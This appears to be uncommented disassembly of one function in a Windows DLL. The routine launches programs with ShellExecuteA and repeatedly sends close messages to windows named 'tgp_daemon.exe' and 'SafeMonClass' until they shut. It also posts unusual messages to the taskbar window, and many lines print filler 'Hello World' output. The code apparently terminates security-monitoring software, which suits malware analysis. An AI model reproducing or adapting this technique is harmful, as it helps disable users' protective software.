lea rcx, [rbp + 0x1530]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1530]
lea rdx, [rbp + 0x890]
lea rcx, [rbp + 0x9a0]
call fcn.180003130
call fcn.180002ae0
test eax, eax
je 0x180004f58
call fcn.180003090
test al, al
je 0x180004cf3
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0xdc0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, r12d
lea rdx, str.tgp_daemon.exe__
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
test rax, rax
je 0x18000481a
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x180004800
inc edi
cmp edi, 3
jl 0x1800047d0
mov dword [rbp + 0xcc0], 0x363351
xor edx, edx
mov r8d, 0xfb
lea rcx, [rbp + 0xcc4]
call fcn.180018800
movsd xmm0, qword [str.0SafeMonClass]
movsd qword [rbp + 0xbc0], xmm0
mov eax, dword [0x18004c008]
mov dword [rbp + 0xbc8], eax
movzx eax, word [0x18004c00c]
mov word [rbp + 0xbcc], ax
xor edx, edx
mov r8d, 0xf1
lea rcx, [rbp + 0xbce]
call fcn.180018800
lea r8, [rbp + 0xbc0]
mov edx, 0xff
lea rcx, [rbp + 0xcc0]
call fcn.180021398
nop dword [rax]
nop word [rax + rax]
xor r9d, r9d
lea r8, [rbp + 0xcc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rbx, rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 1
jl 0x1800048a0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_PostMessageA]
lea rdx, [0x18004c010]
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, [0x18004c010]
lea rcx, [0x180055830]
call fcn.180009480
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x3e0]
call fcn.18001d4f0
lea rcx, [rbp + 0x9a0]
call fcn.18001d4f0
lea rcx, [rbp + 0x560]
call fcn.18001d4f0
lea rcx, [rbp + 0xab0]
call fcn.18001d4f0
call fcn.180003270
nop
test rsi, rsi
je 0x1800049cf
mov rcx, qword [rbp + 0x130]
sub rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rsi
cmp rdx, 0x1000
jb 0x1800049c6
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004ffe
mov rcx, rsi
call fcn.180015f98
nop
lea rcx, [rbp + 0x1a0]
call fcn.180008b80
mov rcx, qword [rbp + 0x1c0]
test rcx, rcx
je 0x180004a01
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180004a01
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180004a3c
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004a37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005004
call fcn.180015f98
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x180004a87
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004a81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000500a
call fcn.180015f98
nop
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x180004acd
mov rdx, qword [rbp + 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004abc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005010
call fcn.180015f98
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2cc], edx
lea rcx, [rbp + 0x2e0]
call fcn.1800080e0
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x380]
call fcn.180014dc0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180004b90
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004b8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005016
call fcn.180015f98
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x180004bdb
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004bd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000501c
call fcn.180015f98
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x180004c2d
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004c27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005022
call fcn.180015f98
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x180004c6e
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004c69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005028
call fcn.180015f98
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x180004cc8
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004cc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004f98
call fcn.180015f98
lea r11, [rsp + 0x1980]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0xdc0]
call fcn.180012390
mov edi, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, str.tgp_daemon.exe__
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
test rax, rax
je 0x180004d5a
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x180004d40
inc edi
cmp edi, 3
jl 0x180004d10
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx r14d, ax
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, [0x18004bc6f]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdi, rax
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
mov ebx, 0x641
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageA]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageA]
inc rbx
sub r15, 1
jne 0x180004ee2
lea rdx, [0x18004bd40]
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, str.Hello_World__n
lea rcx, [0x180055830]
call fcn.180009480
xor r9d, r9d
mov edx, 0x312
lea r8d, [r15 + 5]
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageA]
mov ecx, 0xbb8
jmp 0x180004933
call fcn.180003090
test al, al
je 0x180004900
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000492e
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
nop
call fcn.180021eac
int3